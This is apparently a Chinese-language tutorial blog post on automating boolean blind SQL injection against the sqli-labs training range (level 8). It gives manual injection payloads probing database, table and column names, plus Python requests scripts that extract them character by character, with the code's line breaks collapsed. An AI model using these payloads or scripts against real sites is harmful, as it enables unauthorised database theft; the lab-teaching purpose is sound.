> 文章列表 > Python自动化sql注入:布尔盲注

Python自动化sql注入:布尔盲注

Python自动化sql注入:布尔盲注

在sql注入时,使用python脚本可以大大提高注入效率,这里演示一下编写python脚本实现布尔盲注的基本流程:

演示靶场:sqli-labs

布尔盲注

特点:没有回显没有报错,但根据sql语句正常与否返回不同结果,通过语句是否正常来注入。

靶场:sqli-labs第八关

手注思路

先简单讲讲手工注入时的大概思路,sql语句如下:

 单引号就能闭合,结果正常时会显示you are in......,结果不正常什么都没有。

 所以我们只需要根据是否有you are in来判断注入成功与否,构造语句如下:

# 判断数据库名长度
/?id=1' and length((select database()))=8--+# 挨个判断数据库名
/?id=1' and ascii(substr((select database()),1,1))=115--+
# 第一位为's'
/?id=1' and ascii(substr((select database()),2,1))=102--+
# 第二位为'e'
...# 判断表名
/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102--+# 判断字段名
/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1))=102--+# 判断值
/?id=1' and ascii(substr((select 字段 from 表 limit 1,1),1,1))=1--+

python脚本自动化

可以看到手注需要一个一个试工作量是非常非常巨大的,这时候一个python脚本就可以很好的解放我们的双手:

需要用到requests包来建立连接访问目标地址,根据回显特征进行下一步操作,这里正确标志是"You are in...":

import requestsrequests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False
flag = 'You are in...'

获取数据库相关信息:

def GetDBName(url):DBName = ''print("开始获取数据库名长度...")len = 0for l in range(1,99):payload = f"' and length((select database()))={l}--+"res = conn.get(url=url+payload)if flag in res.content.decode("utf-8"):print("数据库名长度为:"+str(l))len = lbreakprint("开始获取数据库名...")for i in range(1, len+1):for j in range(33,127):payload = f"' and ascii(substr((select database()),{i},1))={j}--+"res = conn.get(url=url+payload)if flag in res.content.decode("utf-8"):DBName += chr(j)print(DBName)breakreturn DBName

将payload与网址进行拼接,使用requests包来访问网站,根据返回页面是否有flag出现来确认是否成功。运行结果如下所示:

 接下来就是获取表、字段以及其中的具体数据了,写下去你会发现总体流程都是一样的,以表为例,大致步骤如下:

获取数量(有多少张表)--> 获取每张表表名的长度 --> 获取具体的表名

代码如下:

def GetTables(url,db):print("正在获取数据表数量")tnum = 0t_len = 0tname = ""for i in range(1,50):payload = f"'and (select count(*)table_name from information_schema.tables where table_schema=database())={i}--+"res = conn.get(url=url + payload)if flag in res.content.decode("utf-8"):tnum = iprint(f"共有{i}张表")breakfor i in range(0,tnum):for n in range(1,50):payload = f"'and length(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),1))={n}--+"res = conn.get(url=url + payload)if flag in res.content.decode("utf-8"):print(f"第{i+1}张表的长度为{n}")t_len = nbreakfor l in range(1,t_len+1):for j in range(33,127):payload = f"' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{l},1))={j}--+"res = conn.get(url=url + payload)if flag in res.content.decode("utf-8"):tname += chr(j)print(tname)breaktname += ','result_list = tname[:-1].split(",")return result_list

运行结果像这样:

 剩下的部分除了payload基本上和获取表信息一模一样,可以自己尝试一下。